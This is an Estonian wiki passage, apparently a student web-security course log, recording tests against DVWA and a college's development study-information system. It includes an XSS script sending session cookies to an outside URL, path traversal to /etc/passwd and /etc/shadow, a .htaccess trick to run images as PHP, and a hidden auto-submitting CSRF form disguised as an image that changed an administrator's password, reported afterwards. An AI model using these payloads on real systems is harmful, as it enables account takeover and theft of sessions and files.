&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
Lihtsalt url modifitseerimisega leidsime mittekaitstud lingi:&lt;br /&gt;
&lt;br /&gt;
Õppesoorituste all on võimalik laadida alla kõikide kasutajate õpingukaardid (lihtsalt tuleb otsida üles soovitud kasutaja student_id)&lt;br /&gt;
Arvete alt peaks ka võimalik sama viga ära kasutada, aga kuna ühtegi arvet hetkel süsteemis polnud ei olnud võimalik seda viga kinnitada.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
===Burp suite===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
==Nessuse algkäivitamine==&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
